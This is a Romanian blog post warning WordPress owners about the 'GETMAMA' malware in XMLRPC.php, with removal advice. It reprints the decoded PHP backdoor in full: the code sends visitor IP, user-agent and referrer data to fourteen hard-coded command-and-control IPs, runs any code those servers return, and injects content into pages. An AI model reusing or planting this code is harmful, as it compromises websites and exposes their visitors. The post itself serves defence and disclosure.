GETMAMA – Un nou virus pe wordpress infecteaza fisierul XMLRPC.php

In lumea bloggerilor a intrat un nou virus numit GETMAMA, nu va lasati indusi in eroare de numele acestuia, este unul dintre cele mai complexe virusuri deoarece este bine codat, ceea ce il face greu de depistat sau de inlaturat. Acesta afecteaza doar unele site-uri web afisand ferestre pop up. Luati aminte, acest virus afecteaza fisierul XMLRPC.php printre altele si doar utilizatorii de Windows. Codul este afisat doar o data pe zi pentru un ip si atunci nu afiseaza la toata lumea codul cu problema.

Noul virus este descris ca fiind unul “conditional” deoarece, in momentul infectarii acesta trimite informatia inapoi catre atacatori si are optiunea de a infecta un site, de a rula o comanda sau chiar de a nu face nimic. Informatii precum adresa de IP si date despre utilizatorul ce acceseaza site-ul ajung la dezvoltatorii acestui virus, iar acestia pot hotara daca sa afiseze continutul malitios sau nu. Daca acest continut malitios este afisat, acesta va va aparea doar o singura data pe zi, prin intermediul adresei de IP si doar utilizatorilor de Windows.

Acest virus a fost decodat si expus pe blogul celor de la sucuri.net. Forma decodata nu arata deloc cu forma virusului pe care o veti intalni, aceasta fiind codata pentru a o face mai greu de depistat.

if (!function_exists(„GetMama”)){

function mod_con($buf){str_ireplace(„”,””,$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace(„”,”” . stripslashes($_SERVER[„good”]),$buf); return $buf;}str_ireplace(„”,””,$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace(„”,stripslashes($_SERVER[„good”]).””,$buf); return $buf;}

return $buf;}function opanki($buf){$gz_e = false;$h_l = headers_list();if (in_array(„Content-Encoding: gzip”, $h_l)) { $gz_e = true;}if ($gz_e){$tmpfname = tempnam(„/tmp”, „FOO”);file_put_contents($tmpfname, $buf);$zd =
gzopen($tmpfname, „r”);$contents = gzread($zd, 10000000);$contents = mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = mod_con($buf);}$len = strlen($contents);header(„Content-Length: „.$len);return($contents);}

function GetMama(){$mother = „compromisedsite.com”;return $mother;}

ob_start(„opanki”);

function ahfudflfzdhfhs($pa){$mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER[„HTTP_HOST”])){$host = $_SERVER[„HTTP_HOST”];} else {$host = „”;}if (isset($_SERVER[„REMOTE_ADDR”])){$ip = $_SERVER[„REMOTE_ADDR”];} else {$ip = „”;}if (isset($_SERVER[„HTTP_REFERER”])){$ref = urlencode($_SERVER[„HTTP_REFERER”]);} else {$ref = „”;}if (isset($_SERVER[„HTTP_USER_AGENT”])){$ua = urlencode(strtolower($_SERVER[„HTTP_USER_AGENT”]));} else {$ua = „”;}if (isset($_SERVER[„QUERY_STRING”])){$qs = urlencode($_SERVER[„QUERY_STRING”]);} else {$qs = „”;}

$url_0 = „http://” . $pa;
$url_1 = „/jedi.php?version=0991&mother=” .$mama . „&file=” . $file . „&host=” . $host . „&ip=” . $ip . „&ref=” . $ref . „&ua=” .$ua . „&qs=” . $qs;
$try = true;

if( function_exists(„curl_init”) ){$ch = curl_init($url_0 . $url_1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$ult = trim(curl_exec($ch));
$try = false;}

if ((ini_get(„allow_url_fopen”)) && $try) {$ult = trim(@file_get_contents($url_0 . $url_1));$try = false;}

if($try){$fp = fsockopen($pa, 80, $errno, $errstr, 30);if ($fp) {$out = „GET $url_1 HTTP/1.0\r\n”;
$out .= „Host: $pa\r\n”;
$out .= „Connection: Close\r\n\r\n”;
fwrite($fp, $out);
$ret = „”;
while (!feof($fp)) {$ret  .=  fgets($fp, 128);}fclose($fp);$ult = trim(substr($ret, strpos($ret, „\r\n\r\n”) + 4));}}

if (strpos($ult,”eval”) !== false)
{
$z = stripslashes(str_replace(„eval”,””,$ult)); eval($z); exit();
}
if (strpos($ult,”ebna”) !== false){$_SERVER[„good”] = str_replace(„ebna”,””,$ult);return true;}
else {return false;}}

$father2[] = „78.46.173.14”;
$father2[] = „176.9.218.191”;
$father2[] = „91.228.154.254”;
$father2[] = „77.81.241.253”;
$father2[] = „184.82.117.110”;
$father2[] = „46.4.202.93”;
$father2[] = „46.249.58.135”;
$father2[] = „176.9.241.150”;
$father2[] = „46.37.169.56”;
$father2[] = „46.30.41.99”;
$father2[] = „94.242.255.35”;
$father2[] = „178.162.129.223”;
$father2[] = „78.47.184.33”;
$father2[] = „31.184.234.96”;
shuffle($father2);
foreach($father2 as $ur){if ( ahfudflfzdhfhs($ur) ) { break ;}}}

Cam atatea au fost spuse de acest virus, iar in continuare va oferim cateva solutii ce va va ajuta sa scapati de el.Pentru a-l inlatura este indicat verificarea traficului urmatoarelor adrese de IP si, ulterior, blocarea lor.

78.46.173.14
176.9.218.191
91.228.154.254
77.81.241.253
184.82.117.110
46.4.202.93
46.249.58.135
176.9.241.150
46.37.169.56
46.30.41.99
94.242.255.35
178.162.129.223
78.47.184.33
31.184.234.96

O alta alternativa este oferita pe site-ul edeir.ro si propune urmatoarea solutie, instalarea plugin-ului wordfence ce va efectua o scanare. Daca va depista ca fisierul XMLRPC.php a fost modificat sau oricare alt fisier de la wordpress inseamna ca ati fost infectat de acest virus. Stergeti fisierele respective, cautati ultima versiune de wordpress, in acesta veti gasi toate fisierele orginale care trebuie incarcate pe server. Exista un singur inconvenient, veti pierde orice personalizare facuta, dar veti elimina cu siguranta acest virus, desi exista sanse ca el sa revina daca aveti alte brese de securitate in difeirte teme sau pluginuri instalate.

Multa bafta in eliminarea virusului!